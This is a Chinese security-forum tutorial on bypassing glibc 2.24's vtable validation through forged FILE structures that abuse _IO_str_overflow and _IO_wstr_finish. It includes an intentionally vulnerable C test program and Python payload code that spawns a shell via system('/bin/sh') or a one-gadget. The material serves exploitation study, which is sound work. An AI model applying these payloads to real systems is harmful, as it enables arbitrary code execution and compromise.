

## 前言

前面几篇文章说道, glibc 2.24 对 vtable 做了检测, 导致我们不能通过伪造 vtable 来执行代码。今天逛 twitter 时看到了一篇通过绕过对 vtable 的检测 来执行代码的文章, 本文学习一下, 后来又根据文中的参考链接, 找到了另外一种类似的方法, 本文做个分享。

文中涉及的代码, libc, 二进制文件。

[https://gitee.com/hac425/blog\\_data/blob/master/pwn\\_file/file\\_struct\\_part4.rar](https://gitee.com/hac425/blog_data/blob/master/pwn_file/file_struct_part4.rar)

## 正文

首先还是编译一个有调试符号的 glibc 来辅助分析。

### 源码下载链接

<http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2>

### 可以参考

<http://blog.csdn.net/mycwq/article/details/38557997>

新建一个目录用于存放编译文件, 进入该文件夹(这里为glibc\_224), 执行 configure 配置

```
mkdir glibc_224
cd glibc_224/
../glibc-2.24/configure --prefix=/home/hac1h/workplace/glibc_224 --disable-werror --enable-debug=yes
```

然后 make -j8 && make install, 即可在 /home/hac1h/workplace/glibc\_224 找到编译好的 libc

对 vtable 进行校验的函数是 IO\_validate\_vtable

就是保证 vtable 要在 \_\_stop\_\_libc\_IO\_vtables 和 \_\_start\_\_libc\_IO\_vtables 之间。

绕过的方法是在 \_\_stop\_\_libc\_IO\_vtables 和 \_\_start\_\_libc\_IO\_vtables 之间找到可以利用的东西, 下面介绍两种。

前提: 可以伪造 FILE 机构体

### 测试代码 (来源)

```
/* gcc vuln.c -o vuln */

#include <stdio.h>
#include <unistd.h>

char fake_file[0x200];

int main() {
    FILE *fp;
    puts("Leaking libc address of stdout:");
    printf("%p\n", stdout); // Emulating libc leak
    puts("Enter fake file structure");
    read(0, fake_file, 0x200);
    fp = (FILE *)&fake_file;
    fclose(fp);
    return 0;
}
```

首先 printf("%p\n", stdout) 用来泄露 libc 地址, 然后使用 read 读入数据用来伪造 FILE 结构体, 最后调用 fclose(fp).

### 利用 \_\_IO\_str\_overflow

\_\_IO\_str\_overflow 是 \_\_IO\_str\_jumps 的一个函数指针.

\_\_IO\_str\_jumps 就位于 \_\_stop\_\_libc\_IO\_vtables 和 \_\_start\_\_libc\_IO\_vtables 之间 所以我们是可以通过 IO\_validate\_vtable 的检测的。

具体怎么拿 shell 还得看看 \_\_IO\_str\_overflow 的 [源代码](#), 这里我就用 ida 看了 (清楚一些)

首先是对 `fp->_flag` 做了一些判断

将 `fp->_flag` 设为 0x0, 就不会进入。接下来的才是重点

可以看到 如果 设置

```
fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base
```

我们就能进入 `(fp[1]._IO_read_ptr)(2 * size + 100)`, 回到汇编看看。

执行 `call qword ptr [fp+0E0h]`, `fp+0E0h` 使我们控制的, 于是可以控制 `rip`, 此时的参数为 `2 * size + 100`, 而 `size = fp->_IO_buf_end - fp->_IO_buf_base` 所以此次 `call` 的参数也是可以控制的。

利用思路就很简单了

- 设置 `fp+0xe0` 为 `system`
- 设置 `fp->_IO_buf_end` 和 `fp->_IO_buf_base`, 使得 `2 * size + 100` 为 `/bin/sh` 的地址, 执行 `system("/bin/sh")` 获取 shell。

比如 `fp->_IO_buf_base=0` 和 `fp->_IO_buf_end=(sh-100)/2`。

```
fake_file += p64(0x0)      # buf_base
fake_file += p64((sh-100)/2) # buf_end
```

当执行 `fclose` 是会调用 `__IO_FINISH (fp)`

其实就是 `fp->vtable->__finish`

```
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
```

执行 `__IO_FINISH (fp)` 之前还对 锁进行了获取, 所以我们需要设置 `fp->_lock` 的值为一个指向 0x0 的值 (`*ptr=0x0000000000000000`), 所以最终的 `file` 结构体的内容为

```
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base

fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end

fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end

fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock
fake_file += p64(0x00601273) # ptr-->0x0, for bypass get lock

# p _IO_str_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_jump_t + 0x8) # make __IO_str_overflow on __finish, which call by fclose

fake_file += "\x00" * (0xe0 - len(fake_file)) # padding for vtable
fake_file += p64(system) # ((_IO_strfile *) fp)->_s._allocate_buffer
```

有一个小细节,我把 `vtable` 设置为了 `p64(_IO_jump_t + 0x8)`,原因在于一个正常的 `FILE` 结构体的 `vtable` 的结构为

`__finish` 在第三个字段

`__IO_str_overflow` 是 `__IO_str_jumps` 的第4个字段。

`vtable` 设置为 `p64(_IO_jump_t + 0x8)` 后, `vtable->__finish` 为 `__IO_str_overflow` 的地址了。

在调用 `fclose` 处下个断点, 断下来后打印第一个参数

可以看到

- `_flags` 域为 0
- `2*(buf_end - buf_base) + 100` 指向 `/bin/sh`
- `_lock` 指向 0x0
- 虚表的第三个表项 (`vtable->__finish`) 为 `__IO_str_overflow` 的地址

- \$rdi+0xe0 为 system 的地址(rdi即为 fp)

这样在执行 fclose 时就会进入 \_\_IO\_str\_overflow , 然后进入 call qword ptr [fp+0E0h] 执行 system("/bin/sh") 拿到 shell

利用 \_IO\_wstr\_finish

\_IO\_wstr\_finish 位于 \_IO\_wstr\_jumps 里面

可以看到 \_IO\_wstr\_jumps 也是位于 位于 \_\_stop\_\_\_libc\_IO\_vtables 和 \_\_start\_\_\_libc\_IO\_vtables 之间的。

\_IO\_wstr\_finish 的 check 比较简单

当 fp->\_wide\_data->\_IO\_buf\_base 不为0, 而且 v2->\_flags2 就可以劫持 rip 了, 看汇编代码会清晰不少

只需要在 fp+0xa0 处放置一个指针 ptr, 使得 ptr+0x30 处的 值不为 0 即可。(这个值随便找就行), 然后 设置 fp+0x74 的值为 0, 最后设置 fp+0xe8 的值为 one\_shot , 在执行 fclose()时就会去执行 one\_shot 拿到 shell

伪造 file 结构体的代码

```
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base

fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end

fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end

fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock

fake_file += p64(0x00601273) # ptr-->0x0 , for bypass get lock

fake_file += "\x00" * (0xa0 - len(fake_file))
fake_file += p64(0x601030) # _wide_data

# p & _IO_wstr_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_wstr_jumps)

fake_file += "\x00" * (0xe8 - len(fake_file)) # padding for vtable
fake_file += p64(one_shot) # rip
```

最后

ida看代码比较清楚, 文中的两种方法挺不错, 利用了其他的 vtable 中的有趣的函数来绕过 check

参考

<https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/>

<http://blog.rh0que.com/2017-12-31-34c3ctf-300/>

点击收藏 | 0 关注 | 1

[上一篇：Apache FOP-XXE—【C...】](#) [下一篇：浅谈高级威胁情报对于安全建设的意义...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)